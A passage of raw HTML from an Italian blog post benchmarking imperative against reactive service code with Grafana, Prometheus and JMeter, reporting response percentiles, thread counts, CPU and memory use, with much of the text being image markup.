2%208c-3%209-3%209-6%200l-2-7-4-1h-4v12m48-9l-2%204c-2%202-2%202-5%200-9-7-19%207-11%2015%204%205%2015%204%2014-1-1-2-1-2-5-1-2%201-3%201-5-1-1-1-1-2%205-2h6v-7c2%200%202%202%202%206%200%207%201%209%207%209%203%200%204-1%204-3s0-2%203%201%2012%203%2013-1c0-3%200-3-3-2h-5c-3-2-2-3%204-3h6v4c0%204%200%204%203%204s3%200%203-7c0-6%201-7%203-7%203%200%203-1%203-3%200-3-2-4-5-2h-2c-2-3-5-1-5%203v5l-1-4c-5-10-17-5-17%206%200%204%200%204-2%204-4%200-4-10-1-10%203-1%203-4%200-5l-2-2c-1-2-4-3-5%200\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/1818fcedef140d93f44966e519e356d3/c85cb/benchmark-tools.webp 300w,/static/1818fcedef140d93f44966e519e356d3/e88ff/benchmark-tools.webp 600w,/static/1818fcedef140d93f44966e519e356d3/92f8c/benchmark-tools.webp 1200w,/static/1818fcedef140d93f44966e519e356d3/bb338/benchmark-tools.webp 1543w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/1818fcedef140d93f44966e519e356d3/5a46d/benchmark-tools.png 300w,/static/1818fcedef140d93f44966e519e356d3/0a47e/benchmark-tools.png 600w,/static/1818fcedef140d93f44966e519e356d3/c1b63/benchmark-tools.png 1200w,/static/1818fcedef140d93f44966e519e356d3/acd79/benchmark-tools.png 1543w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Benchmark Tools&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/1818fcedef140d93f44966e519e356d3/c1b63/benchmark-tools.png&quot; title=&quot;Benchmark Tools&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Benchmark Tools&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;I tool che abbiamo utilizzato per eseguire il benchmark sono:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://grafana.com/&quot;&gt;Grafana&lt;/a&gt; permette la creazione di grafici a partire da più sorgenti&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://prometheus.io/&quot;&gt;Prometheus&lt;/a&gt; è una sorta di agent che espone sotto un singolo servizio tutte le metriche&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://jmeter.apache.org/&quot;&gt;Apache JMeter&lt;/a&gt; è stato usato per generare lo scenario e far partire le chiamate per simulare una situazione di carico&lt;/li&gt;&lt;/ul&gt;&lt;h3 id=&quot;scenario&quot;&gt;Scenario&lt;/h3&gt;&lt;p&gt;Lo scenario dura in tutto due minuti e quaranta secondi, prevede una rampa
di ingresso di circa 30 secondi, alla fine del quale verrà raggiungiunto il
picco di 100 utenti contemporanei, infine la rampa di uscita vedrà scemare il
numero degli utenti in 10 secondi.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/820bb5c7ccfd5d7fd8f75018edf72b45/3126c/scenario-di-test.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:47%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;188\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20188\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M87%2012a304%20304%200%2001-12%2027%201692%201692%200%2001-39%2095%20343%20343%200%2000-13%2035A2489%202489%200%200166%2066a13246%2013246%200%200021-51l2-5h277v3a677%20677%200%20018%2058%2030040%2030040%200%2001-6-60l-1-2H88l-1%203\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/820bb5c7ccfd5d7fd8f75018edf72b45/c85cb/scenario-di-test.webp 300w,/static/820bb5c7ccfd5d7fd8f75018edf72b45/e88ff/scenario-di-test.webp 600w,/static/820bb5c7ccfd5d7fd8f75018edf72b45/92f8c/scenario-di-test.webp 1200w,/static/820bb5c7ccfd5d7fd8f75018edf72b45/62ed8/scenario-di-test.webp 1800w,/static/820bb5c7ccfd5d7fd8f75018edf72b45/c571f/scenario-di-test.webp 1876w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/820bb5c7ccfd5d7fd8f75018edf72b45/5a46d/scenario-di-test.png 300w,/static/820bb5c7ccfd5d7fd8f75018edf72b45/0a47e/scenario-di-test.png 600w,/static/820bb5c7ccfd5d7fd8f75018edf72b45/c1b63/scenario-di-test.png 1200w,/static/820bb5c7ccfd5d7fd8f75018edf72b45/d61c2/scenario-di-test.png 1800w,/static/820bb5c7ccfd5d7fd8f75018edf72b45/3126c/scenario-di-test.png 1876w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 22 - Scenario di test&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/820bb5c7ccfd5d7fd8f75018edf72b45/c1b63/scenario-di-test.png&quot; title=&quot;Figura 22 - Scenario di test&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 22 - Scenario di test&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h4 id=&quot;imperativo&quot;&gt;Imperativo&lt;/h4&gt;&lt;p&gt;Nel seguente grafico vediamo il comportamento del numero di risposte al secondo
rispetto al tempo per lo scenario imperativo.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/08f3f7a96ca227dc0e8a1da6a20788cf/05244/scenario-imperativo.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:49.66666666666666%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;199\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20199\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;/%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/08f3f7a96ca227dc0e8a1da6a20788cf/c85cb/scenario-imperativo.webp 300w,/static/08f3f7a96ca227dc0e8a1da6a20788cf/e88ff/scenario-imperativo.webp 600w,/static/08f3f7a96ca227dc0e8a1da6a20788cf/92f8c/scenario-imperativo.webp 1200w,/static/08f3f7a96ca227dc0e8a1da6a20788cf/fb80a/scenario-imperativo.webp 1752w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/08f3f7a96ca227dc0e8a1da6a20788cf/5a46d/scenario-imperativo.png 300w,/static/08f3f7a96ca227dc0e8a1da6a20788cf/0a47e/scenario-imperativo.png 600w,/static/08f3f7a96ca227dc0e8a1da6a20788cf/c1b63/scenario-imperativo.png 1200w,/static/08f3f7a96ca227dc0e8a1da6a20788cf/05244/scenario-imperativo.png 1752w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 23 - Scenario imperativo&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/08f3f7a96ca227dc0e8a1da6a20788cf/c1b63/scenario-imperativo.png&quot; title=&quot;Figura 23 - Scenario imperativo&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 23 - Scenario imperativo&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h4 id=&quot;reattivo&quot;&gt;Reattivo&lt;/h4&gt;&lt;p&gt;Analogamente vediamo il comportamento per lo scenario reattivo, non ci sono
particolari evidenze.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/7445a68f9f3e87541ff990063f7fcaef/baa75/scenario-reattivo.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:50%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;200\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20200\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;/%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/7445a68f9f3e87541ff990063f7fcaef/c85cb/scenario-reattivo.webp 300w,/static/7445a68f9f3e87541ff990063f7fcaef/e88ff/scenario-reattivo.webp 600w,/static/7445a68f9f3e87541ff990063f7fcaef/92f8c/scenario-reattivo.webp 1200w,/static/7445a68f9f3e87541ff990063f7fcaef/ea6ef/scenario-reattivo.webp 1746w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/7445a68f9f3e87541ff990063f7fcaef/5a46d/scenario-reattivo.png 300w,/static/7445a68f9f3e87541ff990063f7fcaef/0a47e/scenario-reattivo.png 600w,/static/7445a68f9f3e87541ff990063f7fcaef/c1b63/scenario-reattivo.png 1200w,/static/7445a68f9f3e87541ff990063f7fcaef/baa75/scenario-reattivo.png 1746w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 24 - Scenario reattivo&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/7445a68f9f3e87541ff990063f7fcaef/c1b63/scenario-reattivo.png&quot; title=&quot;Figura 24 - Scenario reattivo&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 24 - Scenario reattivo&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h3 id=&quot;percentili&quot;&gt;Percentili&lt;/h3&gt;&lt;p&gt;Nel grafico dei percentili, dove i tempi di risposta vengono rappresentati in
ordine crescente vediamo come la curva imperativa (in rosa) e quella reattiva
(in grigetto) al 90° percentile si discosta di ben 110 ms. Ne consegue che le
risposte, elaborate dallo scenario che ha visto protagonisti i nodi sviluppati
con codice reattivo, sono state evase in tempi significativamente inferiori.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/3bb18ecdd4699a134ec295880d050bbc/d61c2/percentili-a-confronto.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:50.33333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;201\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20201\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;/%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/3bb18ecdd4699a134ec295880d050bbc/c85cb/percentili-a-confronto.webp 300w,/static/3bb18ecdd4699a134ec295880d050bbc/e88ff/percentili-a-confronto.webp 600w,/static/3bb18ecdd4699a134ec295880d050bbc/92f8c/percentili-a-confronto.webp 1200w,/static/3bb18ecdd4699a134ec295880d050bbc/62ed8/percentili-a-confronto.webp 1800w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/3bb18ecdd4699a134ec295880d050bbc/5a46d/percentili-a-confronto.png 300w,/static/3bb18ecdd4699a134ec295880d050bbc/0a47e/percentili-a-confronto.png 600w,/static/3bb18ecdd4699a134ec295880d050bbc/c1b63/percentili-a-confronto.png 1200w,/static/3bb18ecdd4699a134ec295880d050bbc/d61c2/percentili-a-confronto.png 1800w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 25 - Percentili a confronto&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/3bb18ecdd4699a134ec295880d050bbc/c1b63/percentili-a-confronto.png&quot; title=&quot;Figura 25 - Percentili a confronto&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 25 - Percentili a confronto&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h3 id=&quot;threads&quot;&gt;Threads&lt;/h3&gt;&lt;p&gt;Quello che è ancora più evidente è il numero dei thread impiegati in uno
scenario rispetto all&amp;#x27;altro. Infatti nello scenario imperativo sono stati
allocati circa 250 thread per portare a compimento le operazioni di aggregazione
contro i soli 22 dello scenario reattivo. Questo risultato si raggiunge grazie
all&amp;#x27;uso di chiamate non bloccanti ottimizzando al massimo le risorse.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/b25c5cd9856155ff1172a43ff612a15e/29beb/threads-a-confronto.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:47.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;190\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20190\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M162%2032v31H0v127h263v-37l1-37%2068-1h68v75l1-33-1-95V0H162v32M24%2031v23h97V8H24v23m261%20120v23h96v-47h-96v24\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/b25c5cd9856155ff1172a43ff612a15e/c85cb/threads-a-confronto.webp 300w,/static/b25c5cd9856155ff1172a43ff612a15e/e88ff/threads-a-confronto.webp 600w,/static/b25c5cd9856155ff1172a43ff612a15e/92f8c/threads-a-confronto.webp 1200w,/static/b25c5cd9856155ff1172a43ff612a15e/62ed8/threads-a-confronto.webp 1800w,/static/b25c5cd9856155ff1172a43ff612a15e/18e83/threads-a-confronto.webp 1830w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/b25c5cd9856155ff1172a43ff612a15e/5a46d/threads-a-confronto.png 300w,/static/b25c5cd9856155ff1172a43ff612a15e/0a47e/threads-a-confronto.png 600w,/static/b25c5cd9856155ff1172a43ff612a15e/c1b63/threads-a-confronto.png 1200w,/static/b25c5cd9856155ff1172a43ff612a15e/d61c2/threads-a-confronto.png 1800w,/static/b25c5cd9856155ff1172a43ff612a15e/29beb/threads-a-confronto.png 1830w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 26 - Threads a confronto&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/b25c5cd9856155ff1172a43ff612a15e/c1b63/threads-a-confronto.png&quot; title=&quot;Figura 26 - Threads a confronto&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 26 - Threads a confronto&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h3 id=&quot;cpu&quot;&gt;CPU&lt;/h3&gt;&lt;p&gt;Sui seguenti grafici viene riportato il comportamento della CPU, a sinistra lo
scenario imperativo e a destra quello reattivo. Possiamo notare che la componente
più sollecitata dell&amp;#x27;architettura è l&amp;#x27;aggregatore (sul grafico la linea verde),
il quale nello scenario imperativo ha quasi utilizzato tutte le sue risorse,
contrariamente in quello reattivo vediamo la curva adagiarsi addirittura in
mezzo alle altre due.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/d013175d5708a34a0ba07037f9e416fd/a303f/uso-della-cpu-a-confronto.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:49%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;196\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20196\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2048v47h196V0H0v48m206%200v47h194V0H206v48M0%20149v47h196v-94H0v47m206%200v47h194v-94H206v47\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/d013175d5708a34a0ba07037f9e416fd/c85cb/uso-della-cpu-a-confronto.webp 300w,/static/d013175d5708a34a0ba07037f9e416fd/e88ff/uso-della-cpu-a-confronto.webp 600w,/static/d013175d5708a34a0ba07037f9e416fd/92f8c/uso-della-cpu-a-confronto.webp 1200w,/static/d013175d5708a34a0ba07037f9e416fd/bb2de/uso-della-cpu-a-confronto.webp 1733w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/d013175d5708a34a0ba07037f9e416fd/5a46d/uso-della-cpu-a-confronto.png 300w,/static/d013175d5708a34a0ba07037f9e416fd/0a47e/uso-della-cpu-a-confronto.png 600w,/static/d013175d5708a34a0ba07037f9e416fd/c1b63/uso-della-cpu-a-confronto.png 1200w,/static/d013175d5708a34a0ba07037f9e416fd/a303f/uso-della-cpu-a-confronto.png 1733w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 27 - Uso della CPU a confronto&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/d013175d5708a34a0ba07037f9e416fd/c1b63/uso-della-cpu-a-confronto.png&quot; title=&quot;Figura 27 - Uso della CPU a confronto&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 27 - Uso della CPU a confronto&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h3 id=&quot;memoria&quot;&gt;Memoria&lt;/h3&gt;&lt;p&gt;Per quanto riguarda la gestione della memoria, ci accorgiamo che nello scenario
imperativo (a destra) viene fatto poco uso di nuovi oggetti che infatti vengono
promossi nelle fasi successive. Mentre sullo scenario reattivo abbiamo un uso
più largo di oggetti nuovi che quindi sono allocati e subito liberati.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/7c79accf7e808fc5fb8f4759b60df910/51dd6/uso-della-memoria-a-confronto.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:48.33333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;194\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20194\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M1%2097v96h398V1H1v96m24-86l-1%205v5h4l4-1-2-1c-4%200-4-2-1-2%202-1%203%200%204%202s5%203%207%201h1l3%201c2%200%203-1%203-4%200-4-2-5-5-3-2%201-2%201-2-1s-2-4-3-2l-2%202-2%202h-4l-2-1%203-1%202-1c0-2-6-3-7-1m252%2040l-11%2013-5%205-4-3c-3-2-5-3-14-5-10-1-11-1-10-3l1-3c0-1-5%205-5%207%200%203-2%203-11-2l-8-4v32h3l4%201h-4c-4%200-4%202%200%202l3-1%202-1%202%201%203%201%203-1%202-1%202%201%203%201%203-1%203-1%202%201%203%201c4%200%203-1%200-2h2l5%201h6l2-1%202%201%203%201%203-1%202-1%202%201%203%201%203-1%202-1%202%201%203%201%203-1%202-1%202%201%203%201%203-1%203-1%202%201%203%201%203-1c-1-1%200-1%201-1l3%201%203%201c4%200%203-1%200-2h2l5%201h6l2-1%202%201%203%201%203-1%202-1%202%201%203%201%203-1%202-1%202%201%203%201%203-1%203-1%202%201%203%201%203-1c-1-1%200-1%201-1l3%201%203%201c4%200%203-1%200-2h2l5%201h6l-1-1h-3c-2-1-2-1%201-1h3V68l-1-20h-7c-6%200-7%200-10%204l-4%204-4-4c-3-2-4-4-3-5%200-2%200-2-1-1-2%202-2%202-3%201l-2-2v2c2%202%202%202-3%2010l-6%209-11-5c-9-5-13-6-12-4%201%200%200%202-2%203l-3%203-16-9-17-10-7%207M144%2061l6%203-10%202c-15%205-29%206-34%203l-4-1-5%202c-6%204-14%204-13%201%200-2-5%203-10%209l-3%204-5-2c-5-3-10-5-9-3%201%200-12%206-15%206l-7-4c-5-4-6-5-4-5l2-2-3%201h-4c-2-3-4-2-1%200%201%202%201%202-3%202-1%200-2%202-2%206l-1%205-1%202c0%201%201%202%203%202l3-1-2-1-2-1h179v-4c0-5-1-5-3-5s-21-11-21-13h12l12%201-14-1c-14-1-14-2-18-5s-4-3-6-2c-4%203-8%203-14%201-9-3-11-2-3%200M26%20106l-1%205c0%205%205%207%208%203%202-2%202-2%202%200%201%202%201%202%202%201%201-2%201-2%202-1l4%202c2%200%202%200%202-5l-1-6-1%201c0%203-5%203-5%201-1-2-3-3-3%200h-2c-1-2-5-2-7-1m25%201c-2%202-2%205%200%207s8%202%208%200h1c2%203%205%202%206%200l1-2v2c0%203%202%202%202-1l1-3%202%202c-1%204%201%204%202%200%200-4-5-6-7-3h-7l-2%201-1-1c2%200%202-1%201-3-2-1-6-1-7%201m89%2056l-7%2014H76l-56-1v3c0%202%201%203%202%203%202%201%202%201%200%201l-3-1-2-1c-4%201-5%202-2%202l3%201c-1%201%200%201%202%201l4-1%206-2c3%200%203%200%201%201l-3%201c0%202%206%201%206%200%201-2%2013-2%2014%200%200%201%206%202%206%200l-3-1%2011-1%2011%201c-5%200-6%202-2%202l4-1c1-1%203-2%207-2s6%201%207%202c0%201%206%202%206%200l-3-1c-2-1-2-1%201-1l6%202%204%201c4%200%203-1-1-2-5%200-3-1%206-1l7%201h-3l-2%201c-1%201%200%201%202%201l4-1c1-2%2013-2%2014%200%200%201%206%202%206%200l-3-1c-2-1-2-1%201-1l6%202%204%201c4%200%203-1-1-2-5%200-3-1%206-1l7%201h-3l-2%201c-1%201%200%201%202%201l4-1c1-2%2013-2%2014%200%200%201%206%202%206%200l-3-1c-4%200-4-1%201-1l6%202%204%201c4%200%203-2-1-2l6-1c11%201%2010%202%209-17%200-12%200-13-2-13l-2-2h-1c0%202-2%202-23%202s-24%200-23-1v-2l-8%2014m191%2011l-12%202h-55l-55%201-1%202c0%202-1%203-3%202l-2%201%203%201%202%201%203%201c4%200%204-2%200-2-2-1-2-1%201-1l6%202c0%201%206%202%206%200l-3-1%206-1%205%201-3%201c0%202%206%201%206%200l6-2c3%200%203%200%201%201-4%200-4%202%200%202l3-1%202-1%202%201%203%201c4%200%204-2%200-2-2-1-2-1%201-1l6%202c0%201%206%202%206%200l-3-1%2011-1%2010%201-3%201c0%202%205%201%206-1h3c2%202%207%203%207%201l-3-1h2l5%201h6l-3-1%2011-1%2010%201-3%201c0%202%206%201%206%200l6-2c3%200%203%200%201%201l-3%201h6c1-2%2013-2%2014%200%200%201%206%202%206%200l-3-1%2011-1%2010%201c-4%200-4%202%200%202%202%200%203-1%203-2l2-1h8v-11h-23c-20%200-24%200-34%203\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/7c79accf7e808fc5fb8f4759b60df910/c85cb/uso-della-memoria-a-confronto.webp 300w,/static/7c79accf7e808fc5fb8f4759b60df910/e88ff/uso-della-memoria-a-confronto.webp 600w,/static/7c79accf7e808fc5fb8f4759b60df910/92f8c/uso-della-memoria-a-confronto.webp 1200w,/static/7c79accf7e808fc5fb8f4759b60df910/62ed8/uso-della-memoria-a-confronto.webp 1800w,/static/7c79accf7e808fc5fb8f4759b60df910/2e8d7/uso-della-memoria-a-confronto.webp 1952w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
